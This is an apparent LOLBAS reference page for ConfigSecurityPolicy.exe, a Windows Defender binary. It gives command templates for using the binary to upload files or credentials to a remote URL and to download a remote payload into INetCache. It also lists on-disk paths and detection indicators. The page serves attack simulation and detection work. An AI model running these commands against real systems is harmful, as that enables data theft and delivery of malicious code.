LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

ConfigSecurityPolicy.exe

View source

Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.

UploadDownload
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Upload1

EXAMPLE 01T1567

Upload file, credentials or data exfiltration in general

COMMAND
ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL}
USE CASE
Upload file
PRIVILEGES
User
OPERATING SYSTEM
Windows 10

Download1

EXAMPLE 01T1105

It will download a remote payload and place it in INetCache.

COMMAND
ConfigSecurityPolicy.exe {REMOTEURL}
USE CASE
Downloads payload from remote server
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    ConfigSecurityPolicy storing data into alternate data streams.

  • IOC

    Preventing/Detecting ConfigSecurityPolicy with non-RFC1918 addresses by Network IPS/IDS.

  • IOC

    Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching ConfigSecurityPolicy.exe.

  • IOC

    User Agent is "MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)"

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Ialle Teixeira@NtSetDefault
Nir Chako (Pentera)@C_h4ck_0